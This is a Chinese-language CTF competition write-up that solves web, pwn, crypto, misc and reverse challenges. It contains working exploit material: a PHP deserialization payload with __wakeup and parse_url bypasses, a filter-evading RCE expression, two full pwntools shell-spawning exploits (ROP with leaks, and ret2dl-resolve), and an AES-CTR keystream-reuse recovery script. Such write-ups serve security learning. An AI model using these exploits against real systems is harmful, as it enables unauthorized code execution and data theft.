Web
justsoso
打开页面,扫目录 发现有
index.php
hint.php
flag.php
查看源码
需要拿到 源码。但是hint的后台代码拿不到
然后用php伪协议 path=php://filter/read=convert.base-encode/resource=xxx.php
任意文件读取 获取 hint.php 和index.php的源码
hint.php源码如下
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
echo "222\n";
}
public function __destruct(){
$this->handle->getFlag();
echo "destruct\n";
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
源码分析:
该源码应用到反序列化,
首先分析Flag类
类中有一个构造函数 和一个getFlag函数
getFlag 函数:
先对token_flag变量赋予随机(1,10000)的md5值
然后对比token和token_flag是否相同
相同则查看 file是否存在 存在则 打印文件内容
构造函数:
获取file文件路径
赋予token_flag和token相同的md5值
分析后发现我们想要使用getFlag则需要使token完全等于token_flag
因此要使用 反序列化 引用 即 $b->token=&$b->token_flag;
$b = new Flag(); $b->file=”phpinfo.php”; $b->token=&$b->token_flag; $b->getFlag();
分析Handle类:
这个类有 一个wakeup函数 一个构造函数 一个destruct函数
wakeup函数需要在反序列化的时候进行绕过
构造函数 需要传入参数 参数值为Flag类的序列化
distruct函数 即调用getFlag函数
$a = new Handle(unserialize(‘O:4:”Flag”:3:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4”;s:10:”token_flag”;R:3;}’)); $b = new Flag(); $b->file=”phpinfo.php”; $b->token=&$b->token_flag; echo(serialize($a));
得到一个序列化队列
O:6:”Handle”:1:{s:14:”Handlehandle”;O:3:”Flag”:4:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4”;s:10:”token_flag”;R:4;}}
由于 handle变量为私有属性 因此需要绕过
又需要绕过wakeup函数
因此修改序列化队列
O:6:”Handle”:1:{s:14:”%00Handle%00handle”;O:4:”Flag”:4:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4”;s:10:”token_flag”;R:4;}}
hint.php的源码审计告一段落
接下来分析index.php源码
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
源码中有两段正则查询
preg_match(“/flag/“,$file) preg_match(“/flag/“,$value)
第一段是对url中的file变量查询是否存在flag字符
第二段是对url中的query查询是否存在flag字符
因为上边将query 给value赋值
第一段直接使用 file=hint.php
第二段需要用到parse_url函数的漏洞
因此payload:
index.php?file=hint.php&payload=O:6:”Handle”:1:{s:14:”%00Handle%00handle”;O:4:”Flag”:4:{s:4:”file”;s:11:”phpinfo.php”;s:5:”token”;s:32:”6084e82a08cb979cf75ae28aed37ecd4”;s:10:”token_flag”;R:4;}} destruct
需要在index.php前使用双斜杠 来达成相对路径 将 path值向上传递给host,并且query值传给path 因此可以绕过第二段正则,
得到flag
love_math
很棒的一道题,话说感觉今年web题起码都挺有意思的。题目质量很棒!
拿到题目,看到计算,立马可以想到是一道rce,本来以为是盲打的。然后队友告诉有源码,才看到calc.php在没有输入的情况下,会爆出源码:
分析后可以发现,出题人进行了严格的过滤。此时只能满足基本都运算以及白名单内函数运算。
一开始看到有进制转换的函数,于是找到了,dechex() 。想到通过进制转换变为字符,然后异或,拼接处shell。直到看到小于80字符,发现完全不可能,字符量太大。
转而寻找其他思路。然后发现自己好傻。明明有一个可以直接输出字符的函数base_convert()。
在这里,可以直接构造36进制,此时我们就可以有0-9a-z的任意字符,开开心心构造rce。
// 1751504350 system
// 784 ls
base_convert(1751504350,10,36)(base_convert(784,10,36))
然而,to young to nalive.
开开心心读flag的时候,突然发现,我的空格被谁吃了?不对,不应该这么说,应该是,空格,你在哪,我想你了。
对,空格无论如何也出不来。陷入僵局。
然后经过无数次想砸电脑、最终想到,hex2bin.这个函数可以将16进制转为任意字符。也就是ascii码转换,此时我们多重编码一次,通过这个来实现payload。
// 37907361743 hex2bin
// 426836762666 636174202a cat *
// cat *
base_convert(25071743913,10,36)(dechex(426836762666))
// 拼一下
// system("cat *")
base_convert(1751504350,10,36)(base_convert(37907361743,10,36)(dechex(426836762666)))
// 然而..
好吧,字符超了…
此时开始了苦逼的优化之旅。
首先,先把system换了,改exec。
然后,cat换nl。
此时由于exec的特性。我们还得修改一下payload。最终payload
// exec("nl f*")
// 696468 exec
// 37907361743 hex2bin
// 474260465194 6e6c20662a nl f*
base_convert(696468,10,36)(base_convert(37907361743,10,36)(dechex(474260465194)))
然而…
一查数81..
心态真的炸了..
但是,含着泪也要做下去…
再仔细看,10进制两位数,9进制一位数,此时把十进制转换,全变为9进制,岂不是美滋滋少俩数。
// exec("nl f*")
// 1271333 exec
// 117754344425 hex2bin
// 474260465194 6e6c20662a nl f*
base_convert(1271333,9,36)(base_convert(117754344425,9,36)(dechex(474260465194)))
// 此时因为hex2bin 9进制的话造成了数据多了一位,我们可以根据hex2bin的样子,来对后面36进行缩减,此时可以缩减为34
// 76478043844 hex2bin
base_convert(1271333,9,36)(base_convert(76478043844,9,34)(dechex(474260465194)))
然而…
想骂街了…
竟然是80….
还是差一位….
exec即便优化到34也没用..
此时真的是没法在优化了,看到还有半个多小时结束。想着要不还是洗洗睡吧。
灵光一闪,会不会存在某种进制转换下,也全是数字的情况?
for ($y=36; $y>=34; $y--) {
for ($x=1; $x<=$y; $x++) {
$c = base_convert("exec",$y,$x);
if(strlen($c) < 7){
echo "base_convert(\"exec\",$y,$x)";
echo $c."\n";
}
}
}
分析一波
5位,美滋滋
// exec("nl f*")
// 47138 exec
// 71637815856 bin2hex
// 474260465194 6e6c20662a nl f*
base_convert(47138,20,36)(base_convert(76478043844,9,34)(dechex(474260465194)))
Pwn
your_pwn
查保护,发现是64位全保护程序
分析程序
发现没有对v1
的值做控制,于是我们可以借助v4
作为基指针访问整个内存的数据(有权限内存除外),并且借助
做到任意地址读写,并且注意到因为可以精确覆写rbp
及返回地址,于是Canary
保护其实是失效的,于是考虑首先泄露程序入口地址(PIE
保护)和libc
基址,检查栈
发现这里可以直接读出栈地址和程序入口点,于是直接泄露libc基址,于是就可以构造ROP并利用
于是EXP
如下:
from pwn import *
import sys
context.log_level='debug'
def check(str1):
a=""
i=0
while i<len(str1):
if(str1[i]=="f" and i+1<len(str1) and str1[i+1]=="f"):
i+=2
continue
a+=str1[i]
i+=1
return a
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
if args['REMOTE']:
sh = remote(sys.argv[1], sys.argv[2])
else:
sh = process("./pwn")
PIE_addr=""
libc_base=""
sh.recvuntil("input your name \nname:")
sh.sendline("ERROR404")
# for i in range(624,632):
# sh.recvuntil("input index")
# sh.sendline(str(i))
# sh.recvuntil("input new value")
# sh.sendline('54')
for i in range(8):
sh.recvuntil("input index")
sh.sendline(str(624+i))
sh.recvuntil("now value(hex) ")
temp=check(sh.recvuntil('\n').strip('\n'))
PIE_addr = temp + PIE_addr
sh.recvuntil("input new value")
sh.sendline(str(int(temp,16)))
PIE_addr=PIE_addr[0:11]
PIE_addr+='000'
log.success("We leak PIE addr is "+str(hex(int(PIE_addr,16))))
PIE_address=int(PIE_addr,16)
rdi_ret=PIE_address+0xd03
main_addr=PIE_address+0xb35
for i in range(8):
sh.recvuntil("input index")
sh.sendline(str(632+i))
sh.recvuntil("now value(hex) ")
temp=check(sh.recvuntil('\n').strip('\n'))
libc_base = temp + libc_base
sh.recvuntil("input new value")
sh.sendline(str(int(temp,16)))
libc_base=int(libc_base,16)-0x20830
log.success("We leak libc base is "+str(hex(libc_base)))
system_addr=libc_base+libc.symbols['system']
binsh_addr=libc_base+libc.search('/bin/sh').next()
payload=p64(rdi_ret)+p64(binsh_addr)+p64(system_addr)+p64(main_addr)
for i in range(25):
sh.recvuntil("input index")
sh.sendline(str(1))
sh.recvuntil("input new value")
sh.sendline(str(1))
sh.recvuntil("do you want continue(yes/no)? ")
sh.send("yes")
for i in range(len(payload)):
sh.recvuntil("input index")
sh.sendline(str(344+i))
sh.recvuntil("input new value")
sh.sendline(str(ord(payload[i])))
for i in range(41-len(payload)):
sh.recvuntil("input index")
sh.sendline(str(1))
sh.recvuntil("input new value")
sh.sendline(str(1))
sh.recvuntil("do you want continue(yes/no)? ")
sh.send("no")
sh.interactive()
print(sh.recv())
baby_pwn
查保护,仅开启NX
保护的32位程序
分析程序逻辑,逻辑非常简单
但是发现本程序中没有输出函数
于是想到使用ret2dl-resolve
,于是借助roputils
(话说这个包我也安了好久QwQ)
EXP
如下:
#!/usr/bin/env python
#coding:utf-8
import sys
import roputils
from pwn import *
pwn_file = ELF('./pwn')
offset = 0x2c
readplt = pwn_file.plt['read']
bss = 0x0804a040
vulFunc = 0x0804852D
if args['REMOTE']:
p = remote(sys.argv[1], sys.argv[2])
else:
p = process("./pwn")
def getReloc(elf, base):
jmprel = elf.dynamic('JMPREL')
relent = elf.dynamic('RELENT')
addr_reloc, padlen_reloc = elf.align(base, jmprel, relent)
reloc_offset = addr_reloc - jmprel
return reloc_offset
rop = roputils.ROP('./pwn')
addr_bss = rop.section('.bss')
# step1 : write sh & resolve struct to bss
buf1 = 'A' * offset
buf1 += p32(readplt) + p32(vulFunc) + p32(0) + p32(addr_bss) + p32(100)
p.send(buf1)
buf2 = rop.string('/bin/sh')
buf2 += rop.fill(20, buf2)
buf2 += rop.dl_resolve_data(addr_bss+20, 'system')
buf2 += rop.fill(100, buf2)
p.send(buf2)
buf3 = 'A'*0x2c + rop.dl_resolve_call(addr_bss+20, addr_bss)
p.send(buf3)
p.interactive()
Misc
签到
“献祭”了三个小朋友的人脸就得到了一枚热腾腾的flag
呢~
24c
根据提示,先搜索资料。发现24c
是一种常见的EEPROM
(链接)。
用Saleae Logic
打开logicdata
文件,看到一组双通道电平数据。由于先前的24c
提示,推测是使用I2C
进行元件读写,尝试用I2C
对电平数据进行解码。得到以下内容:
Time [s], Analyzer Name, Decoded Protocol Result
0.843705500000000,I2C,Setup Write to [0xA0] + ACK
0.843872000000000,I2C,0x20 + ACK
0.844038500000000,I2C,0x66 + ACK
0.844205000000000,I2C,0x31 + ACK
0.844371000000000,I2C,0x36 + ACK
0.844537500000000,I2C,0x33 + ACK
0.844704000000000,I2C,0x62 + ACK
0.844870500000000,I2C,0x64 + ACK
0.845036500000000,I2C,0x66 + ACK
0.845203000000000,I2C,0x34 + ACK
0.845369500000000,I2C,0x65 + ACK
0.845536000000000,I2C,0x7D + ACK
0.845702500000000,I2C,0x00 + ACK
0.945796000000000,I2C,Setup Write to [0xA0] + ACK
0.945962500000000,I2C,0x00 + ACK
0.946154000000000,I2C,Setup Read to [0xA1] + ACK
0.946318000000000,I2C,0x66 + ACK
0.946481500000000,I2C,0x6C + ACK
0.946645000000000,I2C,0x61 + ACK
0.946808500000000,I2C,0x67 + ACK
0.946972000000000,I2C,0x7B + ACK
0.947135500000000,I2C,0x63 + ACK
0.947299500000000,I2C,0x34 + ACK
0.947463000000000,I2C,0x36 + ACK
0.947626500000000,I2C,0x64 + ACK
0.947790000000000,I2C,0x39 + ACK
0.947953500000000,I2C,0x65 + ACK
0.948117500000000,I2C,0x31 + ACK
0.948281000000000,I2C,0x30 + ACK
0.948444500000000,I2C,0x2D + ACK
0.948608000000000,I2C,0x65 + ACK
0.948771500000000,I2C,0x39 + ACK
0.948935500000000,I2C,0x62 + ACK
0.949099000000000,I2C,0x35 + ACK
0.949262500000000,I2C,0x2D + ACK
0.949426000000000,I2C,0x34 + ACK
0.949589500000000,I2C,0x64 + ACK
0.949753000000000,I2C,0x39 + ACK
0.949917000000000,I2C,0x30 + ACK
0.950080500000000,I2C,0x2D + ACK
0.950244000000000,I2C,0x61 + ACK
0.950407500000000,I2C,0x38 + ACK
0.950571000000000,I2C,0x38 + ACK
0.950734500000000,I2C,0x33 + ACK
0.950898000000000,I2C,0x2D + ACK
0.951061500000000,I2C,0x34 + ACK
0.951225000000000,I2C,0x31 + ACK
0.951388500000000,I2C,0x63 + NAK
5.946480500000000,I2C,Setup Write to [0xA0] + ACK
5.946647000000000,I2C,0x09 + ACK
5.946813500000000,I2C,0x61 + ACK
5.946980000000000,I2C,0x63 + ACK
根据24c
元件的写规则,不难想到这里是将flag连续地写在了EEPROM中,其中每个Write
命令后的第一个字节用于指定偏移,后面的数据就是ASCII
下的字符。拼接出以下部分
0x20 : cf163bdf4e}
0x00 : flag{c46d9e10-e9b5-4d90-a883-41
0x09 : ac
模拟写入过程,即可得到flag
saleae
首先下载题目发现是个saleae.logicdata
根据百度资料发现了Saleae Logic 1.2.17
这个软件
因为题干提到了U盘,不难想到SPI
这个分析
SPI
是串行外设接口(Serial Peripheral Interface)
用来分析U盘传输数据流
发现只有Channel 0
和Channel 2
有可疑数据,使用SPI
分析,这是MOSI
和MISO
为channel 1
和channel 2
,输出为ASCII
模式,发现字符
即可得flag
usbasp
题干还是U盘(SPI是串行外设接口),仍然使用SPI
进行分析,输出为ASCII
,在最下面发现了类似字符的地方,寻找一番发现flag
字样
Crypto
puzzles
question 0:使用四元一次方程组计算器可得a1a2a3a4
question1:大素数表如下
question2、3、4:手算结果如下
拼接即为flag
warmup
分析题目可知,本题使用了AES-CTR
加密,在CTR
模式下,加密模式会被转换为类似OTP
加密的模式,仔细分析脚本,发现每次加密,计数器的prefix、suffix
都是相同的
也就是不安全的重用了密码本,因为AES-CTR
的加密模式可简化为
所以存在以下关系
P1=C1^K
P2=C2^K
那么
P1^P2=C1^K^C2^K=C1^C2
又发现加密时是以十六位为一个分组,于是想到如果输入
AAAAAAAAAAAAAAAB
那么flag
必然会被拼接到后面
AAAAAAAAAAAAAAABflag...
那么加密后窝们可以得到B
的密文,接下来输入
AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAflag... //拼接后
AAAAAAAAAAAAAAABflag...//与第一次做比较
于是窝们可以得到明文'B'
,明文'B'
的密文C_1
,未知明文_1(其实是'f'
)的密文C_2
未知明文='B'^C_1^C_2
计算后得到'f'
,接下来可以借助明文'f'
,明文'f'
的密文C_1
,未知明文_2(其实是'l'
)的密文C_2
进而推算整个未知明文
EXP如下
from pwn import *
sh=remote('fc32f84bc46ac22d97e5f876e3100922.kr-lab.com',12345)
result_1=0
result_2=0
char_temp='A'
flag=""
for i in range(0,42):
sh.recvuntil('plaintext>')
payload='A'*(48-i)
sh.sendline(payload)
sh.recvuntil('result>')
result_1=int(sh.recvline()[94:96],16)
sh.recvuntil('plaintext>')
payload='A'*(48-i-1)
sh.sendline(payload)
sh.recvuntil('result>')
result_2=int(sh.recvline()[94:96],16)
char_temp = chr(result_1^result_2^ord(char_temp))
flag += char_temp
print(flag)
Reverse
easyGo
查看文件格式,是ELF文件,放进虚拟机运行试一试
用IDA
打开,根据题干猜测这是Golang
语言去符号化逆向题目,首先需要考虑符号表修复
https://github.com/sibears/IDAGolangHelper
需要加载该py
插件,使用方法:用File->Script File
加载脚本文件,选Rename Function
Golang
的主程序为main_main
,F5
反编译,发现最后有一个if
分开输出两个结果,在此下一个断点
再使用IDA
动态调试虚拟机中ELF
文件,
动调时,配合伪C
代码感觉寄存器有点不对,查看寄存器,在RDX
中发现flag
提取flag{92094daf-33c9-431e-a85a-8bfbd5df98ad}
,提交通过